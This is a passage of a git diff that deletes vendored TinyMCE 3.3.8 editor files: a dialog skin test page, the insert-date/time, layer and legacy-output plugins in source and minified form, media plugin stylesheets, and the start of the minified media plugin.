class="mceCenter"></div> - <div class="mceRight"></div> - <span>Alert</span> - </div> - - <div class="mceMiddle"> - <div class="mceLeft"></div> - <span> - This is a very long error message. This is a very long error message. - This is a very long error message. This is a very long error message. - This is a very long error message. This is a very long error message. - This is a very long error message. This is a very long error message. - This is a very long error message. This is a very long error message. - This is a very long error message. This is a very long error message. - </span> - <div class="mceRight"></div> - <div class="mceIcon"></div> - </div> - - <div class="mceBottom"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - </div> - - <a class="mceMove" href="#"></a> - <a class="mceButton mceOk" href="#">Ok</a> - <a class="mceClose" href="#"></a> - </div> - </div> - - <div class="clearlooks2" style="width:400px; height:130px; left:420px; top:450px;"> - <div class="mceWrapper mceMovable mceFocus mceModal mceConfirm"> - <div class="mceTop"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Confirm</span> - </div> - - <div class="mceMiddle"> - <div class="mceLeft"></div> - <span> - This is a very long error message. This is a very long error message. - This is a very long error message. This is a very long error message. - This is a very long error message. This is a very long error message. - This is a very long error message. This is a very long error message. - This is a very long error message. This is a very long error message. - This is a very long error message. This is a very long error message. - </span> - <div class="mceRight"></div> - <div class="mceIcon"></div> - </div> - - <div class="mceBottom"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - </div> - - <a class="mceMove" href="#"></a> - <a class="mceButton mceOk" href="#">Ok</a> - <a class="mceButton mceCancel" href="#">Cancel</a> - <a class="mceClose" href="#"></a> - </div> - </div> -</div> - -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin.js deleted file mode 100644 index 938ce6b..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.InsertDateTime",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceInsertDate",function(){var d=c._getDateTime(new Date(),a.getParam("plugin_insertdate_dateFormat",a.getLang("insertdatetime.date_fmt")));a.execCommand("mceInsertContent",false,d)});a.addCommand("mceInsertTime",function(){var d=c._getDateTime(new Date(),a.getParam("plugin_insertdate_timeFormat",a.getLang("insertdatetime.time_fmt")));a.execCommand("mceInsertContent",false,d)});a.addButton("insertdate",{title:"insertdatetime.insertdate_desc",cmd:"mceInsertDate"});a.addButton("inserttime",{title:"insertdatetime.inserttime_desc",cmd:"mceInsertTime"})},getInfo:function(){return{longname:"Insert date/time",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/insertdatetime",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_getDateTime:function(e,a){var c=this.editor;function b(g,d){g=""+g;if(g.length<d){for(var f=0;f<(d-g.length);f++){g="0"+g}}return g}a=a.replace("%D","%m/%d/%y");a=a.replace("%r","%I:%M:%S %p");a=a.replace("%Y",""+e.getFullYear());a=a.replace("%y",""+e.getYear());a=a.replace("%m",b(e.getMonth()+1,2));a=a.replace("%d",b(e.getDate(),2));a=a.replace("%H",""+b(e.getHours(),2));a=a.replace("%M",""+b(e.getMinutes(),2));a=a.replace("%S",""+b(e.getSeconds(),2));a=a.replace("%I",""+((e.getHours()+11)%12+1));a=a.replace("%p",""+(e.getHours()<12?"AM":"PM"));a=a.replace("%B",""+c.getLang("insertdatetime.months_long").split(",")[e.getMonth()]);a=a.replace("%b",""+c.getLang("insertdatetime.months_short").split(",")[e.getMonth()]);a=a.replace("%A",""+c.getLang("insertdatetime.day_long").split(",")[e.getDay()]);a=a.replace("%a",""+c.getLang("insertdatetime.day_short").split(",")[e.getDay()]);a=a.replace("%%","%");return a}});tinymce.PluginManager.add("insertdatetime",tinymce.plugins.InsertDateTime)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin_src.js deleted file mode 100644 index 181c791..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin_src.js +++ /dev/null @@ -1,83 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.InsertDateTime', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - - ed.addCommand('mceInsertDate', function() { - var str = t._getDateTime(new Date(), ed.getParam("plugin_insertdate_dateFormat", ed.getLang('insertdatetime.date_fmt'))); - - ed.execCommand('mceInsertContent', false, str); - }); - - ed.addCommand('mceInsertTime', function() { - var str = t._getDateTime(new Date(), ed.getParam("plugin_insertdate_timeFormat", ed.getLang('insertdatetime.time_fmt'))); - - ed.execCommand('mceInsertContent', false, str); - }); - - ed.addButton('insertdate', {title : 'insertdatetime.insertdate_desc', cmd : 'mceInsertDate'}); - ed.addButton('inserttime', {title : 'insertdatetime.inserttime_desc', cmd : 'mceInsertTime'}); - }, - - getInfo : function() { - return { - longname : 'Insert date/time', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/insertdatetime', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - // Private methods - - _getDateTime : function(d, fmt) { - var ed = this.editor; - - function addZeros(value, len) { - value = "" + value; - - if (value.length < len) { - for (var i=0; i<(len-value.length); i++) - value = "0" + value; - } - - return value; - }; - - fmt = fmt.replace("%D", "%m/%d/%y"); - fmt = fmt.replace("%r", "%I:%M:%S %p"); - fmt = fmt.replace("%Y", "" + d.getFullYear()); - fmt = fmt.replace("%y", "" + d.getYear()); - fmt = fmt.replace("%m", addZeros(d.getMonth()+1, 2)); - fmt = fmt.replace("%d", addZeros(d.getDate(), 2)); - fmt = fmt.replace("%H", "" + addZeros(d.getHours(), 2)); - fmt = fmt.replace("%M", "" + addZeros(d.getMinutes(), 2)); - fmt = fmt.replace("%S", "" + addZeros(d.getSeconds(), 2)); - fmt = fmt.replace("%I", "" + ((d.getHours() + 11) % 12 + 1)); - fmt = fmt.replace("%p", "" + (d.getHours() < 12 ? "AM" : "PM")); - fmt = fmt.replace("%B", "" + ed.getLang("insertdatetime.months_long").split(',')[d.getMonth()]); - fmt = fmt.replace("%b", "" + ed.getLang("insertdatetime.months_short").split(',')[d.getMonth()]); - fmt = fmt.replace("%A", "" + ed.getLang("insertdatetime.day_long").split(',')[d.getDay()]); - fmt = fmt.replace("%a", "" + ed.getLang("insertdatetime.day_short").split(',')[d.getDay()]); - fmt = fmt.replace("%%", "%"); - - return fmt; - } - }); - - // Register plugin - tinymce.PluginManager.add('insertdatetime', tinymce.plugins.InsertDateTime); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/layer/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/layer/editor_plugin.js deleted file mode 100644 index f88a6dd..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/layer/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.Layer",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceInsertLayer",c._insertLayer,c);a.addCommand("mceMoveForward",function(){c._move(1)});a.addCommand("mceMoveBackward",function(){c._move(-1)});a.addCommand("mceMakeAbsolute",function(){c._toggleAbsolute()});a.addButton("moveforward",{title:"layer.forward_desc",cmd:"mceMoveForward"});a.addButton("movebackward",{title:"layer.backward_desc",cmd:"mceMoveBackward"});a.addButton("absolute",{title:"layer.absolute_desc",cmd:"mceMakeAbsolute"});a.addButton("insertlayer",{title:"layer.insertlayer_desc",cmd:"mceInsertLayer"});a.onInit.add(function(){if(tinymce.isIE){a.getDoc().execCommand("2D-Position",false,true)}});a.onNodeChange.add(c._nodeChange,c);a.onVisualAid.add(c._visualAid,c)},getInfo:function(){return{longname:"Layer",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/layer",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,e){var c,d;c=this._getParentLayer(e);d=b.dom.getParent(e,"DIV,P,IMG");if(!d){a.setDisabled("absolute",1);a.setDisabled("moveforward",1);a.setDisabled("movebackward",1)}else{a.setDisabled("absolute",0);a.setDisabled("moveforward",!c);a.setDisabled("movebackward",!c);a.setActive("absolute",c&&c.style.position.toLowerCase()=="absolute")}},_visualAid:function(a,c,b){var d=a.dom;tinymce.each(d.select("div,p",c),function(f){if(/^(absolute|relative|static)$/i.test(f.style.position)){if(b){d.addClass(f,"mceItemVisualAid")}else{d.removeClass(f,"mceItemVisualAid")}}})},_move:function(h){var b=this.editor,f,g=[],e=this._getParentLayer(b.selection.getNode()),c=-1,j=-1,a;a=[];tinymce.walk(b.getBody(),function(d){if(d.nodeType==1&&/^(absolute|relative|static)$/i.test(d.style.position)){a.push(d)}},"childNodes");for(f=0;f<a.length;f++){g[f]=a[f].style.zIndex?parseInt(a[f].style.zIndex):0;if(c<0&&a[f]==e){c=f}}if(h<0){for(f=0;f<g.length;f++){if(g[f]<g[c]){j=f;break}}if(j>-1){a[c].style.zIndex=g[j];a[j].style.zIndex=g[c]}else{if(g[c]>0){a[c].style.zIndex=g[c]-1}}}else{for(f=0;f<g.length;f++){if(g[f]>g[c]){j=f;break}}if(j>-1){a[c].style.zIndex=g[j];a[j].style.zIndex=g[c]}else{a[c].style.zIndex=g[c]+1}}b.execCommand("mceRepaint")},_getParentLayer:function(a){return this.editor.dom.getParent(a,function(b){return b.nodeType==1&&/^(absolute|relative|static)$/i.test(b.style.position)})},_insertLayer:function(){var a=this.editor,b=a.dom.getPos(a.dom.getParent(a.selection.getNode(),"*"));a.dom.add(a.getBody(),"div",{style:{position:"absolute",left:b.x,top:(b.y>20?b.y:20),width:100,height:100},"class":"mceItemVisualAid"},a.selection.getContent()||a.getLang("layer.content"))},_toggleAbsolute:function(){var a=this.editor,b=this._getParentLayer(a.selection.getNode());if(!b){b=a.dom.getParent(a.selection.getNode(),"DIV,P,IMG")}if(b){if(b.style.position.toLowerCase()=="absolute"){a.dom.setStyles(b,{position:"",left:"",top:"",width:"",height:""});a.dom.removeClass(b,"mceItemVisualAid")}else{if(b.style.left==""){b.style.left=20+"px"}if(b.style.top==""){b.style.top=20+"px"}if(b.style.width==""){b.style.width=b.width?(b.width+"px"):"100px"}if(b.style.height==""){b.style.height=b.height?(b.height+"px"):"100px"}b.style.position="absolute";a.addVisual(a.getBody())}a.execCommand("mceRepaint");a.nodeChanged()}}});tinymce.PluginManager.add("layer",tinymce.plugins.Layer)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/layer/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/layer/editor_plugin_src.js deleted file mode 100644 index d5aa865..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/layer/editor_plugin_src.js +++ /dev/null @@ -1,212 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.Layer', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - - // Register commands - ed.addCommand('mceInsertLayer', t._insertLayer, t); - - ed.addCommand('mceMoveForward', function() { - t._move(1); - }); - - ed.addCommand('mceMoveBackward', function() { - t._move(-1); - }); - - ed.addCommand('mceMakeAbsolute', function() { - t._toggleAbsolute(); - }); - - // Register buttons - ed.addButton('moveforward', {title : 'layer.forward_desc', cmd : 'mceMoveForward'}); - ed.addButton('movebackward', {title : 'layer.backward_desc', cmd : 'mceMoveBackward'}); - ed.addButton('absolute', {title : 'layer.absolute_desc', cmd : 'mceMakeAbsolute'}); - ed.addButton('insertlayer', {title : 'layer.insertlayer_desc', cmd : 'mceInsertLayer'}); - - ed.onInit.add(function() { - if (tinymce.isIE) - ed.getDoc().execCommand('2D-Position', false, true); - }); - - ed.onNodeChange.add(t._nodeChange, t); - ed.onVisualAid.add(t._visualAid, t); - }, - - getInfo : function() { - return { - longname : 'Layer', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/layer', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - // Private methods - - _nodeChange : function(ed, cm, n) { - var le, p; - - le = this._getParentLayer(n); - p = ed.dom.getParent(n, 'DIV,P,IMG'); - - if (!p) { - cm.setDisabled('absolute', 1); - cm.setDisabled('moveforward', 1); - cm.setDisabled('movebackward', 1); - } else { - cm.setDisabled('absolute', 0); - cm.setDisabled('moveforward', !le); - cm.setDisabled('movebackward', !le); - cm.setActive('absolute', le && le.style.position.toLowerCase() == "absolute"); - } - }, - - // Private methods - - _visualAid : function(ed, e, s) { - var dom = ed.dom; - - tinymce.each(dom.select('div,p', e), function(e) { - if (/^(absolute|relative|static)$/i.test(e.style.position)) { - if (s) - dom.addClass(e, 'mceItemVisualAid'); - else - dom.removeClass(e, 'mceItemVisualAid'); - } - }); - }, - - _move : function(d) { - var ed = this.editor, i, z = [], le = this._getParentLayer(ed.selection.getNode()), ci = -1, fi = -1, nl; - - nl = []; - tinymce.walk(ed.getBody(), function(n) { - if (n.nodeType == 1 && /^(absolute|relative|static)$/i.test(n.style.position)) - nl.push(n); - }, 'childNodes'); - - // Find z-indexes - for (i=0; i<nl.length; i++) { - z[i] = nl[i].style.zIndex ? parseInt(nl[i].style.zIndex) : 0; - - if (ci < 0 && nl[i] == le) - ci = i; - } - - if (d < 0) { - // Move back - - // Try find a lower one - for (i=0; i<z.length; i++) { - if (z[i] < z[ci]) { - fi = i; - break; - } - } - - if (fi > -1) { - nl[ci].style.zIndex = z[fi]; - nl[fi].style.zIndex = z[ci]; - } else { - if (z[ci] > 0) - nl[ci].style.zIndex = z[ci] - 1; - } - } else { - // Move forward - - // Try find a higher one - for (i=0; i<z.length; i++) { - if (z[i] > z[ci]) { - fi = i; - break; - } - } - - if (fi > -1) { - nl[ci].style.zIndex = z[fi]; - nl[fi].style.zIndex = z[ci]; - } else - nl[ci].style.zIndex = z[ci] + 1; - } - - ed.execCommand('mceRepaint'); - }, - - _getParentLayer : function(n) { - return this.editor.dom.getParent(n, function(n) { - return n.nodeType == 1 && /^(absolute|relative|static)$/i.test(n.style.position); - }); - }, - - _insertLayer : function() { - var ed = this.editor, p = ed.dom.getPos(ed.dom.getParent(ed.selection.getNode(), '*')); - - ed.dom.add(ed.getBody(), 'div', { - style : { - position : 'absolute', - left : p.x, - top : (p.y > 20 ? p.y : 20), - width : 100, - height : 100 - }, - 'class' : 'mceItemVisualAid' - }, ed.selection.getContent() || ed.getLang('layer.content')); - }, - - _toggleAbsolute : function() { - var ed = this.editor, le = this._getParentLayer(ed.selection.getNode()); - - if (!le) - le = ed.dom.getParent(ed.selection.getNode(), 'DIV,P,IMG'); - - if (le) { - if (le.style.position.toLowerCase() == "absolute") { - ed.dom.setStyles(le, { - position : '', - left : '', - top : '', - width : '', - height : '' - }); - - ed.dom.removeClass(le, 'mceItemVisualAid'); - } else { - if (le.style.left == "") - le.style.left = 20 + 'px'; - - if (le.style.top == "") - le.style.top = 20 + 'px'; - - if (le.style.width == "") - le.style.width = le.width ? (le.width + 'px') : '100px'; - - if (le.style.height == "") - le.style.height = le.height ? (le.height + 'px') : '100px'; - - le.style.position = "absolute"; - ed.addVisual(ed.getBody()); - } - - ed.execCommand('mceRepaint'); - ed.nodeChanged(); - } - } - }); - - // Register plugin - tinymce.PluginManager.add('layer', tinymce.plugins.Layer); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/legacyoutput/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/legacyoutput/editor_plugin.js deleted file mode 100644 index 29d43c5..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/legacyoutput/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(a){a.onAddEditor.addToTop(function(c,b){b.settings.inline_styles=false});a.create("tinymce.plugins.LegacyOutput",{init:function(b){b.onInit.add(function(){var c="p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img",e=a.explode(b.settings.font_size_style_values),d=b.serializer;b.formatter.register({alignleft:{selector:c,attributes:{align:"left"}},aligncenter:{selector:c,attributes:{align:"center"}},alignright:{selector:c,attributes:{align:"right"}},alignfull:{selector:c,attributes:{align:"full"}},bold:{inline:"b"},italic:{inline:"i"},underline:{inline:"u"},strikethrough:{inline:"strike"},fontname:{inline:"font",attributes:{face:"%value"}},fontsize:{inline:"font",attributes:{size:function(f){return a.inArray(e,f.value)+1}}},forecolor:{inline:"font",styles:{color:"%value"}},hilitecolor:{inline:"font",styles:{backgroundColor:"%value"}}});d._setup();a.each("b,i,u,strike".split(","),function(f){var g=d.rules[f];if(!g){d.addRules(f)}});if(!d.rules.font){d.addRules("font[face|size|color|style]")}a.each(c.split(","),function(f){var h=d.rules[f],g;if(h){a.each(h.attribs,function(j,i){if(i.name=="align"){g=true;return false}});if(!g){h.attribs.push({name:"align"})}}});b.onNodeChange.add(function(g,k){var j,f,h,i;f=g.dom.getParent(g.selection.getNode(),"font");if(f){h=f.face;i=f.size}if(j=k.get("fontselect")){j.select(function(l){return l==h})}if(j=k.get("fontsizeselect")){j.select(function(m){var l=a.inArray(e,m.fontSize);return l+1==i})}})})},getInfo:function(){return{longname:"LegacyOutput",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/legacyoutput",version:a.majorVersion+"."+a.minorVersion}}});a.PluginManager.add("legacyoutput",a.plugins.LegacyOutput)})(tinymce); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/legacyoutput/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/legacyoutput/editor_plugin_src.js deleted file mode 100644 index e852da1..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/legacyoutput/editor_plugin_src.js +++ /dev/null @@ -1,136 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - * - * This plugin will force TinyMCE to produce deprecated legacy output such as font elements, u elements, align - * attributes and so forth. There are a few cases where these old items might be needed for example in email applications or with Flash - * - * However you should NOT use this plugin if you are building some system that produces web contents such as a CMS. All these elements are - * not apart of the newer specifications for HTML and XHTML. - */ - -(function(tinymce) { - // Override inline_styles setting to force TinyMCE to produce deprecated contents - tinymce.onAddEditor.addToTop(function(tinymce, editor) { - editor.settings.inline_styles = false; - }); - - // Create the legacy ouput plugin - tinymce.create('tinymce.plugins.LegacyOutput', { - init : function(editor) { - editor.onInit.add(function() { - var alignElements = 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', - fontSizes = tinymce.explode(editor.settings.font_size_style_values), - serializer = editor.serializer; - - // Override some internal formats to produce legacy elements and attributes - editor.formatter.register({ - // Change alignment formats to use the deprecated align attribute - alignleft : {selector : alignElements, attributes : {align : 'left'}}, - aligncenter : {selector : alignElements, attributes : {align : 'center'}}, - alignright : {selector : alignElements, attributes : {align : 'right'}}, - alignfull : {selector : alignElements, attributes : {align : 'full'}}, - - // Change the basic formatting elements to use deprecated element types - bold : {inline : 'b'}, - italic : {inline : 'i'}, - underline : {inline : 'u'}, - strikethrough : {inline : 'strike'}, - - // Change font size and font family to use the deprecated font element - fontname : {inline : 'font', attributes : {face : '%value'}}, - fontsize : { - inline : 'font', - attributes : { - size : function(vars) { - return tinymce.inArray(fontSizes, vars.value) + 1; - } - } - }, - - // Setup font elements for colors as well - forecolor : {inline : 'font', styles : {color : '%value'}}, - hilitecolor : {inline : 'font', styles : {backgroundColor : '%value'}} - }); - - // Force parsing of the serializer rules - serializer._setup(); - - // Check that deprecated elements are allowed if not add them - tinymce.each('b,i,u,strike'.split(','), function(name) { - var rule = serializer.rules[name]; - - if (!rule) - serializer.addRules(name); - }); - - // Add font element if it's missing - if (!serializer.rules["font"]) - serializer.addRules("font[face|size|color|style]"); - - // Add the missing and depreacted align attribute for the serialization engine - tinymce.each(alignElements.split(','), function(name) { - var rule = serializer.rules[name], found; - - if (rule) { - tinymce.each(rule.attribs, function(name, attr) { - if (attr.name == 'align') { - found = true; - return false; - } - }); - - if (!found) - rule.attribs.push({name : 'align'}); - } - }); - - // Listen for the onNodeChange event so that we can do special logic for the font size and font name drop boxes - editor.onNodeChange.add(function(editor, control_manager) { - var control, fontElm, fontName, fontSize; - - // Find font element get it's name and size - fontElm = editor.dom.getParent(editor.selection.getNode(), 'font'); - if (fontElm) { - fontName = fontElm.face; - fontSize = fontElm.size; - } - - // Select/unselect the font name in droplist - if (control = control_manager.get('fontselect')) { - control.select(function(value) { - return value == fontName; - }); - } - - // Select/unselect the font size in droplist - if (control = control_manager.get('fontsizeselect')) { - control.select(function(value) { - var index = tinymce.inArray(fontSizes, value.fontSize); - - return index + 1 == fontSize; - }); - } - }); - }); - }, - - getInfo : function() { - return { - longname : 'LegacyOutput', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/legacyoutput', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('legacyoutput', tinymce.plugins.LegacyOutput); -})(tinymce); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/css/content.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/css/content.css deleted file mode 100644 index 1bf6a75..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/css/content.css +++ /dev/null @@ -1,6 +0,0 @@ -.mceItemFlash, .mceItemShockWave, .mceItemQuickTime, .mceItemWindowsMedia, .mceItemRealMedia {border:1px dotted #cc0000; background-position:center; background-repeat:no-repeat; background-color:#ffffcc;} -.mceItemShockWave {background-image: url(../img/shockwave.gif);} -.mceItemFlash {background-image:url(../img/flash.gif);} -.mceItemQuickTime {background-image:url(../img/quicktime.gif);} -.mceItemWindowsMedia {background-image:url(../img/windowsmedia.gif);} -.mceItemRealMedia {background-image:url(../img/realmedia.gif);} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/css/media.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/css/media.css deleted file mode 100644 index 2d08794..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/css/media.css +++ /dev/null @@ -1,16 +0,0 @@ -#id, #name, #hspace, #vspace, #class_name, #align { width: 100px } -#hspace, #vspace { width: 50px } -#flash_quality, #flash_align, #flash_scale, #flash_salign, #flash_wmode { width: 100px } -#flash_base, #flash_flashvars { width: 240px } -#width, #height { width: 40px } -#src, #media_type { width: 250px } -#class { width: 120px } -#prev { margin: 0; border: 1px solid black; width: 380px; height: 230px; overflow: auto } -.panel_wrapper div.current { height: 390px; overflow: auto } -#flash_options, #shockwave_options, #qt_options, #wmp_options, #rmp_options { display: none } -.mceAddSelectValue { background-color: #DDDDDD } -#qt_starttime, #qt_endtime, #qt_fov, #qt_href, #qt_moveid, #qt_moviename, #qt_node, #qt_pan, #qt_qtsrc, #qt_qtsrcchokespeed, #qt_target, #qt_tilt, #qt_urlsubstituten, #qt_volume { width: 70px } -#wmp_balance, #wmp_baseurl, #wmp_captioningid, #wmp_currentmarker, #wmp_currentposition, #wmp_defaultframe, #wmp_playcount, #wmp_rate, #wmp_uimode, #wmp_volume { width: 70px } -#rmp_console, #rmp_numloop, #rmp_controls, #rmp_scriptcallbacks { width: 70px } -#shockwave_swvolume, #shockwave_swframe, #shockwave_swurl, #shockwave_swstretchvalign, #shockwave_swstretchhalign, #shockwave_swstretchstyle { width: 90px } -#qt_qtsrc { width: 200px } diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/editor_plugin.js deleted file mode 100644 index 4bbe367..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.MediaPlugin",{init:function(b,c){var e=this;e.editor=b;e.url=c;function f(g){return/^(mceItemFlash|mceItemShockWave|mceItemWindowsMedia|mceItemQuickTime|mceItemRealMedia)$/.test(g.className)}b.onPreInit.add(function(){b.serializer.addRules("param[name|value|_mce_value]")});b.addCommand("mceMedia",function(){b.windowManager.open({file:c+"/media.htm",width:430+parseInt(b.getLang("media.delta_width",0)),height:470+parseInt(b.getLang("media.delta_height",0)),inline:1},{plugin_url:c})});b.addButton("media",{title:"media.desc",cmd:"mceMedia"});b.onNodeChange.add(function(h,g,i){g.setActive("media",i.nodeName=="IMG"&&f(i))});b.onInit.add(function(){var g={mceItemFlash:"flash",mceItemShockWave:"shockwave",mceItemWindowsMedia:"windowsmedia",mceItemQuickTime:"quicktime",mceItemRealMedia:"realmedia"};b.selection.onSetContent.add(function(){e._spansToImgs(b.getBody())});b.selection.onBeforeSetContent.add(e._objectsToSpans,e);if(b.settings.content_css!==false){b.dom.loadCSS(c+"/css/content.css")}if(b.theme&&b.theme.onResolveName){b.theme.onResolveName.add(function(h,i){if(i.name=="img"){a(g,function(l,j){if(b.dom.hasClass(i.node,j)){i.name=l;i.title=b.dom.getAttrib(i.node,"title");return false}})}})}if(b&&b.plugins.contextmenu){b.plugins.contextmenu.onContextMenu.add(function(i,h,j){if(j.nodeName=="IMG"&&/mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(j.className)){h.add({title:"media.edit",icon:"media",cmd:"mceMedia"})}})}});b.onBeforeSetContent.add(e._objectsToSpans,e);b.onSetContent.add(function(){e._spansToImgs(b.getBody())});b.onPreProcess.add(function(g,i){var h=g.dom;if(i.set){e._spansToImgs(i.node);a(h.select("IMG",i.node),function(k){var j;if(f(k)){j=e._parse(k.title);h.setAttrib(k,"width",h.getAttrib(k,"width",j.width||100));h.setAttrib(k,"height",h.getAttrib(k,"height",j.height||100))}})}if(i.get){a(h.select("IMG",i.node),function(m){var l,j,k;if(g.getParam("media_use_script")){if(f(m)){m.className=m.className.replace(/mceItem/g,"mceTemp")}return}switch(m.className){case"mceItemFlash":l="d27cdb6e-ae6d-11cf-96b8-444553540000";j="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0";k="application/x-shockwave-flash";break;case"mceItemShockWave":l="166b1bca-3f9c-11cf-8075-444553540000";j="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0";k="application/x-director";break;case"mceItemWindowsMedia":l=g.getParam("media_wmp6_compatible")?"05589fa1-c356-11ce-bf01-00aa0055595a":"6bf52a52-394a-11d3-b153-00c04f79faa6";j="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701";k="application/x-mplayer2";break;case"mceItemQuickTime":l="02bf25d5-8c17-4b23-bc80-d3488abddc6b";j="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0";k="video/quicktime";break;case"mceItemRealMedia":l="cfcdaa03-8be4-11cf-b84b-0020afbbccfa";j="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0";k="audio/x-pn-realaudio-plugin";break}if(l){h.replace(e._buildObj({classid:l,codebase:j,type:k},m),m)}})}});b.onPostProcess.add(function(g,h){h.content=h.content.replace(/_mce_value=/g,"value=")});function d(g,h){h=new RegExp(h+'="([^"]+)"',"g").exec(g);return h?b.dom.decode(h[1]):""}b.onPostProcess.add(function(g,h){if(g.getParam("media_use_script")){h.content=h.content.replace(/<img[^>]+>/g,function(j){var i=d(j,"class");if(/^(mceTempFlash|mceTempShockWave|mceTempWindowsMedia|mceTempQuickTime|mceTempRealMedia)$/.test(i)){at=e._parse(d(j,"title"));at.width=d(j,"width");at.height=d(j,"height");j='<script type="text/javascript">write'+i.substring(7)+"({"+e._serialize(at)+"});<\/script>"}return j})}})},getInfo:function(){return{longname:"Media",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/media",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_objectsToSpans:function(b,e){var c=this,d=e.content;d=d.replace(/<script[^>]*>\s*write(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)\(\{([^\)]*)\}\);\s*<\/script>/gi,function(g,f,i){var h=c._parse(i);return'<img class="mceItem'+f+'" title="'+b.dom.encode(i)+'" src="'+c.url+'/img/trans.gif" width="'+h.width+'" height="'+h.height+'" />'});d=d.replace(/<object([^>]*)>/gi,'<span class="mceItemObject" $1>');d=d.replace(/<embed([^>]*)\/?>/gi,'<span class="mceItemEmbed" $1></span>');d=d.replace(/<embed([^>]*)>/gi,'<span class="mceItemEmbed" 